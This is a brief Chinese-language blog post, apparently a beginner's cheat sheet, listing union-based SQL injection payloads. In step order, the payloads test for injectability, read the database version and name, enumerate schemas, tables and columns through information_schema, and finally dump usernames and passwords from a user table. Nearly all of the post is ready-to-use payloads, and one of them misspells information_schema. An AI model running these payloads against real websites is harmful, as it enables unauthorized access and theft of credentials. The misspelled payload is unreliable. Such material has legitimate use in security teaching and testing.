SQL注入基础知识

1.判断是否有注入

;and 1=1
;and 1=2

2.查看数据库的版本和用户信息版本

id=1 union select 1,version(),database()

3.查看数据库中所有的数据库名称

id=1 union select 1,schema_name from information_schem.schemata

4.查看表名

id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

 5.查看列名

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='**'

6.脱库
根据数据库里存放的信息,我在这引用了一个user表

id=1 union select 1,group_concat(username,password) from user
posted @ 2020-07-16 17:17  Kn1fe  阅读(81)  评论(0编辑  收藏  举报